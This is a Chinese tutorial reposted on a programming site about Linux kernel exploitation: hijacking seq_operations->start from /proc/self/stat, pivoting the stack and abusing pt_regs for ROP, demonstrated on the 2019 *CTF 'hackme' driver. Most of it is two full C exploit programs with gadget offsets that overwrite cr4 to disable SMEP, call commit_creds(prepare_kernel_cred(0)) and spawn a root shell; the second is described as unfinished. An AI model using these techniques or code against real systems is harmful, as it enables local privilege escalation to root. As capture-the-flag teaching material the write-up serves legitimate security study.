服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - C/C++ - kernel利用pt regs劫持seq operations的迁移过程详解

kernel利用pt regs劫持seq operations的迁移过程详解

2022-12-02 15:41狒猩橙 C/C++

这篇文章主要为大家介绍了kernel利用pt_regs劫持seq_operations进行迁移的过程详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

?
1
2
3
4
5
6
struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用proc_ops的proc_read_iter指针

?
1
2
3
4
5
6
ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

拿2019 *starctf hackme关闭smap来尝试这种打法

exp1

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
    struct Heap heap;
    heap.index = index;
    ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30003, &heap);
}
void save_status()
{
    __asm__(
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    );
    puts("[+] save the state success!");
}
void get_shell()
{
    if (getuid() == 0)
    {
        puts("[+] get root");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
    else
    {
        puts("[-] get shell error");
        sleep(3);
        exit(0);
    }
}
void get_root(void)
{
    //commit_creds(prepare_kernel_cred(0));
    void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    void (*cc)(void *) = (void (*)(void *))commit_creds;
    (*cc)((*pkc)(0));
}
int main()
{
    char buf[0x1000] = {0};
    int i;
    size_t seq_data[4] = {0};
    save_status();
    fd = open("/dev/hackme",0);
    if(fd < 0)
    {
        puts("[-] open file error");
        exit(0);
    }
    add(0, 0x20, buf); // 0
    add(1, 0x20, buf); // 1
    add(2, 0x20, buf); // 2
    add(3, 0x20, buf); // 3
    delete(0);
    delete(2);
    int fd_seq = open("/proc/self/stat", 0);
    if(fd_seq < 0)
    {
        puts("[-] open stat error");
        exit(0);
    }
    show(3, 0x20, -0x20, buf);
    vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
    printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    off = vmlinux_base - raw_vmlinux_base;
    commit_creds = off + 0xffffffff8104d220;
    prepare_kernel_cred = off + 0xffffffff8104d3d0;
    show(1, 0x20, -0x20, buf);
    heap_base = ((size_t *)buf)[0] - 0x80;
    printf("[+] heap_base=> 0x%lx\n", heap_base);
    i = 0;
    rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
    rop[i++] = 0x6f0;
    rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;
    rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    ((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
    edit(3, 0x20, -0x20, buf);
    size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
    size_t mmap_base = fake_stack & 0xfffff000;
    if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
        {
            puts("[-] mmap error");
            sleep(3);
            exit(0);
        }
    else
        puts("[+] mmap success");
    memcpy((void *)fake_stack, rop, sizeof(rop));
    read(fd_seq, buf, 1);
    return 0;
}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__asm__(
"mov r15, 0x1111111111;"
"mov r14, 0x2222222222;"
"mov r13, 0x3333333333;"
"mov r12, 0x4444444444;"
"mov rbp, 0x5555555555;"
"mov rbx, 0x6666666666;"
"mov r11, 0x7777777777;"
"mov r10, 0x8888888888;"
"mov r9,  0x9999999999;"
"mov r8,  0xaaaaaaaaaa;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, fd_seq;"
"xor rax, rax;"
"syscall"
);

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: 

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个

我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),

布局如下:

?
1
2
3
4
pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>
int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;
struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};
void add(int index, size_t len, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    ioctl(fd, 0x30000, &heap);
}
void delete(int index)
{
    struct Heap heap;
    heap.index = index;
    ioctl(fd, 0x30001, &heap);
}
void edit(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30002, &heap);
}
void show(int index, size_t len, size_t offset, char *data)
{
    struct Heap heap;
    heap.index = index;
    heap.data = data;
    heap.len = len;
    heap.offset = offset;
    ioctl(fd, 0x30003, &heap);
}
void save_status()
{
    __asm__(
    "mov user_cs, cs;"
    "mov user_ss, ss;"
    "mov user_sp, rsp;"
    "pushf;"
    "pop user_rflags;"
    );
    puts("[+] save the state success!");
}
void get_shell()
{
    if (getuid() == 0)
    {
        puts("[+] get root");
        //system("/bin/sh");
        char *shell = "/bin/sh";
        char *args[] = {shell, NULL};
        execve(shell, args, NULL);
    }
    else
    {
        puts("[-] get shell error");
        sleep(3);
        exit(0);
    }
}
void get_root(void)
{
    //commit_creds(prepare_kernel_cred(0));
    void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
    void (*cc)(void *) = (void (*)(void *))commit_creds;
    (*cc)((*pkc)(0));
}
int main()
{
    char buf[0x1000] = {0};
    int i;
    size_t seq_data[4] = {0};
    save_status();
    fd = open("/dev/hackme",0);
    if(fd < 0)
    {
        puts("[-] open file error");
        exit(0);
    }
    add(0, 0x20, buf); // 0
    add(1, 0x20, buf); // 1
    delete(0);
    fd_seq = open("/proc/self/stat", 0);
    if(fd_seq < 0)
    {
        puts("[-] open stat error");
        exit(0);
    }
    show(1, 0x20, -0x20, buf);
    vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
    printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
    off = vmlinux_base - raw_vmlinux_base;
    commit_creds = off + 0xffffffff8104d220;
    prepare_kernel_cred = off + 0xffffffff8104d3d0;
    size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
    ((size_t *)buf)[0] = gadget;
    edit(1, 0x20, -0x20, buf);
    __asm__(
    "mov r15, 0x1111111111;"
    "mov r14, 0x2222222222;"
    "mov r13, 0x3333333333;"
    "mov r12, 0x4444444444;"
    "mov rbp, 0x5555555555;"
    "mov rbx, 0x6666666666;"
    "mov r11, 0x7777777777;"
    "mov r10, 0x8888888888;"
    "mov r9,  0x9999999999;"
    "mov r8,  0xaaaaaaaaaa;"
    "mov rcx, 0x666666;"
    "mov rdx, 8;"
    "mov rsi, rsp;"
    "mov rdi, fd_seq;"
    "xor rax, rax;"
    "syscall"
    );
    return 0;
}

以上就是kernel利用pt_regs劫持seq_operations的迁移过程详解的详细内容,更多关于kernel劫持迁移的资料请关注服务器之家其它相关文章!

原文链接:https://www.cnblogs.com/pwnfeifei/p/16246790.html

延伸 · 阅读

精彩推荐